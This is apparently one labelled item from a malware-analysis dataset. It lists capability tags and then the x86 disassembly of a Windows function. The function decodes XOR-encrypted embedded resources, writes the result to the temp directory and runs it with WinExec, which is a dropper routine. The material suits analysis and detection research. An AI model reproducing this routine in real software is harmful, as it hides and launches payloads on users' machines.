Function at 0x426f30
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x884
push 0x408928
push 0x408938
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20], eax
push 0x408948
push 0x408958
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x24], eax
push 0x408968
push 0x408978
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x4c], eax
push 0xa
push 0x31b
mov eax, dword [ebp - 0x4c]
push eax
call dword [ebp - 0x24]
mov dword [ebp - 0x85c], eax
mov ecx, dword [ebp - 0x85c]
push ecx
mov edx, dword [ebp - 0x4c]
push edx
call dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x85c]
push eax
mov ecx, dword [ebp - 0x4c]
push ecx
call dword [ebp - 8]
mov dword [ebp - 0x44], eax
mov edx, dword [ebp - 0x28]
mov eax, dword [edx]
mov dword [ebp - 0x858], eax
mov ecx, dword [ebp - 0x28]
add ecx, 4
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x44]
sub edx, 4
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x868], eax
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x858]
shl edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00408bb0
add esp, 4
mov dword [ebp - 0x880], eax
mov ecx, dword [ebp - 0x880]
mov dword [ebp - 0x864], ecx
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], edx
push 0
lea eax, [ebp - 0x30]
push eax
mov ecx, dword [ebp - 0x864]
push ecx
mov edx, dword [ebp - 0x868]
push edx
mov eax, dword [ebp - 0x34]
push eax
call fcn.00426940
add esp, 0x14
push 0xa
push 0x145
mov ecx, dword [ebp - 0x4c]
push ecx
call dword [ebp - 0x24]
mov dword [ebp - 0x860], eax
mov edx, dword [ebp - 0x860]
push edx
mov eax, dword [ebp - 0x4c]
push eax
call dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x860]
push ecx
mov edx, dword [ebp - 0x4c]
push edx
call dword [ebp - 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
sub eax, 4
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x854], 0
mov dword [ebp - 0x870], 0
jmp 0x4270a7
mov ecx, dword [ebp - 0x870]
add ecx, 1
mov dword [ebp - 0x870], ecx
mov edx, dword [ebp - 0x870]
cmp edx, dword [ebp - 0x30]
jae 0x427107
mov eax, dword [ebp - 0x864]
add eax, dword [ebp - 0x870]
movzx ecx, byte [eax]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x2c]
add edx, dword [ebp - 0x854]
movsx eax, byte [edx]
xor eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x864]
add ecx, dword [ebp - 0x870]
mov byte [ecx], al
mov edx, dword [ebp - 0x854]
add edx, 1
mov dword [ebp - 0x854], edx
mov eax, dword [ebp - 0x854]
cmp eax, dword [ebp - 0x40]
jne 0x427105
mov dword [ebp - 0x854], 0
jmp 0x427098
mov ecx, dword [ebp - 0x30]
shr ecx, 1
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x3c]
push edx
call fcn.00409230
add esp, 4
mov dword [ebp - 0x86c], eax
mov eax, dword [ebp - 0x864]
mov dword [ebp - 0x28], eax
mov byte [ebp - 0x18], 0
xor ecx, ecx
mov dword [ebp - 0x17], ecx
mov dword [ebp - 0x13], ecx
mov byte [ebp - 0xf], cl
push 0xa
push 0
mov edx, dword [ebp - 0x86c]
push edx
call fcn.00409490
add esp, 0xc
mov dword [ebp - 0x874], 0
jmp 0x427167
mov eax, dword [ebp - 0x874]
add eax, 1
mov dword [ebp - 0x874], eax
mov ecx, dword [ebp - 0x874]
cmp ecx, dword [ebp - 0x3c]
jge 0x4271ba
mov edx, dword [ebp - 0x28]
mov al, byte [edx]
mov byte [ebp - 0x18], al
mov ecx, dword [ebp - 0x28]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x17], dl
lea eax, [ebp - 0x878]
push eax
push 0x408988
lea ecx, [ebp - 0x18]
push ecx
call fcn.00409080
add esp, 0xc
mov edx, dword [ebp - 0x86c]
add edx, dword [ebp - 0x874]
mov al, byte [ebp - 0x878]
mov byte [edx], al
mov ecx, dword [ebp - 0x28]
add ecx, 2
mov dword [ebp - 0x28], ecx
jmp 0x427158
mov edx, dword [ebp - 0x864]
mov dword [ebp - 0x884], edx
mov eax, dword [ebp - 0x884]
push eax
call fcn.00409510
add esp, 4
lea ecx, [ebp - 0x850]
push ecx
push 0x800
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edx, dword [ebp - 0x40]
push edx
mov eax, dword [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x850]
push ecx
call fcn.00408f40
add esp, 0xc
push 4
push 0x40898c
lea edx, [ebp - 0x850]
push edx
call fcn.00408f40
add esp, 0xc
push 0x408994
lea eax, [ebp - 0x850]
push eax
call fcn.00409470
add esp, 8
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
je 0x427282
mov dword [ebp - 0x87c], 0
jmp 0x42724c
mov ecx, dword [ebp - 0x87c]
add ecx, 1
mov dword [ebp - 0x87c], ecx
mov edx, dword [ebp - 0x87c]
cmp edx, dword [ebp - 0x3c]
jge 0x427276
mov eax, dword [ebp - 0x48]
push eax
push 1
push 1
mov ecx, dword [ebp - 0x86c]
add ecx, dword [ebp - 0x87c]
push ecx
call fcn.00409680
add esp, 0x10
jmp 0x42723d
mov edx, dword [ebp - 0x48]
push edx
call fcn.00409b60
add esp, 4
push 1
lea eax, [ebp - 0x850]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10